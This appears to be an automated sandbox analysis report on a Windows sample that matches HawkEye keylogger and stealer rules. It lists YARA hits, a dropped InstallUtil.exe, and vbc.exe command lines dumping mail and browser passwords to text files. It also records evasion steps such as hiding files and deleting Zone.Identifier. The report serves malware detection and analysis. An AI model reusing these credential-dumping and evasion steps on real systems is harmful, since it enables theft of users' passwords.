Source: FukQGQj7cl.exe, 00000001.00000003.299838271.0000000006CE4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameInstallUtil.exeT vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.309200167.000000000130A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe	Binary or memory string: OriginalFilenameTRCoManagementSystem.exeD vs FukQGQj7cl.exe

Source: FukQGQj7cl.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 16.2.InstallUtil.exe.8460000.11.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 16.2.InstallUtil.exe.84c0000.12.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 16.2.InstallUtil.exe.30ab2a0.5.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 16.2.InstallUtil.exe.30ab2a0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 16.2.InstallUtil.exe.30bea60.6.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.501178621.00000000084C0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.501112721.0000000008460000.00000004.00000001.sdmp, type: MEMORY	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@7/5@3/3

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 22_2_00415AFD GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 22_2_00415F87 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 22_2_00411196 CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,QueryFullProcessImageNameW,CloseHandle,free,Process32NextW,CloseHandle,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 21_2_0040ED0B FindResourceA,SizeofResource,LoadResource,LockResource,

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FukQGQj7cl.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

File created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Jump to behavior

Source: FukQGQj7cl.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

System information queried: HandleInformation

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe, 00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: FukQGQj7cl.exe	Virustotal: Detection: 45%
Source: FukQGQj7cl.exe	ReversingLabs: Detection: 35%

Source: unknown	Process created: C:\Users\user\Desktop\FukQGQj7cl.exe 'C:\Users\user\Desktop\FukQGQj7cl.exe'
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe C:\Users\user\AppData\Local\Temp\InstallUtil.exe
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt'
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt'

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

Source: FukQGQj7cl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: FukQGQj7cl.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: FukQGQj7cl.exe

Static file information: File size 1245696 > 1048576

Source: FukQGQj7cl.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x12f800

Source: FukQGQj7cl.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: C:\Users\Jovan\Documents\Visual Studio 2010\Projects\Stealer\CMemoryExecute\CMemoryExecute\obj\Release\CMemoryExecute.pdb source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.501178621.00000000084C0000.00000004.00000001.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: FukQGQj7cl.exe, 00000001.00000003.299838271.0000000006CE4000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000000.297962667.0000000000D62000.00000002.00020000.sdmp, InstallUtil.exe.1.dr
Source:	Binary string: f:\Projects\VS2005\mailpv\Release\mailpv.pdb source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe
Source:	Binary string: f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe
Source:	Binary string: InstallUtil.pdb source: FukQGQj7cl.exe, 00000001.00000003.299838271.0000000006CE4000.00000004.00000001.sdmp, InstallUtil.exe, InstallUtil.exe.1.dr

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 21_2_00403C3D LoadLibraryA,GetProcAddress,strcpy,

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 16_2_02E4E672 push esp; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_00411879 push ecx; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_004118A0 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_004118A0 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00442871 push ecx; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00442A90 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00442A90 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00446E54 push eax; ret

Source: 1.2.FukQGQj7cl.exe.a70000.0.unpack, q6G4/b6TJ.cs	High entropy of concatenated method names: '.ctor', 'q0H7', 'Gm6g', 'f1JA', 'Hk3b', 'w8Y2', 'Py2m', 'Zw37', 'n6J5', 'w5D0'
Source: 1.2.FukQGQj7cl.exe.a70000.0.unpack, x7H1/Cd25.cs	High entropy of concatenated method names: '.ctor', 'Pk4f', 'Tc58', 'Hp8w', 'Ho5e', 'f2SK', 'y7R4', 'm7ZL', 'Zd1t', 'e9Y8'

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

File created: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Changes the view of files in windows explorer (hidden files and folders)

Show sources

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced Hidden

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\FukQGQj7cl.exe

File opened: C:\Users\user\Desktop\FukQGQj7cl.exe\:Zone.Identifier read attributes | delete

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 21_2_0040F64B memset,strcpy,memset,strcpy,strcat,strcpy,strcat,GetModuleHandleA,LoadLibraryExA,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Process information set: NOOPENFILEERRORBOX
